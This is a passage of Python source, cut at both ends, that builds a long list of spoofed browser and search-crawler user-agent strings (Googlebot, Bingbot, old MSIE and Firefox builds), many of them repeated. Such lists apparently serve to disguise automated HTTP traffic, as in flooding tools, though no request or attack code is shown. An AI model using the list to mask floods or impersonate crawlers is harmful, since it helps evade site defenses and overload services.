  1414.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1415.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1416.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1417.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1418.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1419.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1420.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1421.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1422.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1423.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1424.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1425.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1426.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1427.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1428.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1429.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1430.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1431.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1432.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1435.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1436.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1437.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1438.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1439.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1440.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1441.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1442.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1443.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1444.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1445.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1446.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1447.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1448.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1449.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1451.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1452.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1453.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1455.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1456.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1457.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1458.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1459.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1460.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1461.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1462.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1463.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1464.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1465.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1466.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1468.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1469.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1470.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1471.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1472.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1473.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1474.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1475.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1476.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1477.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1478.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1480.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1481.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1482.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1483.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1484.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1485.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1486.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1487.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1488.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1489.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1490.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1491.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1492.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1493.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1494.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1495.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1496.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1497.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1498.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1499.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1500.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1501.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1502.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1503.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1504.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1505.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1506.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1507.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1508.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1509.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1510.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1511.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1512.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1513.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1515.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1516.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1517.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1518.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1519.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1520.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1521.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1522.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1523.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1524.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1525.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1527.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1528.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1529.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1530.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1531.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1532.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1533.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1535.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1536.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1537.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1538.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1539.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1540.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1541.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1542.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1543.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1544.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1545.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1546.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1547.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1548.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1549.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1550.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1551.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1552.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1553.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1554.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1555.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1556.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1557.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1558.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1559.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1560.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1561.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1562.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1563.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1564.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1565.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1566.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1567.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1568.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1569.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1570.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1571.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1572.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1573.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1574.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1575.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1576.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1577.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1578.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1579.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1580.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1581.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1582.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1583.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1584.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1585.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1586.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1587.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1588.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1589.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1590.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1591.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1592.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1593.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1594.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1595.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1596.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1597.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1598.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1599.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1600.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1601.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1602.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1603.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1604.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1605.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
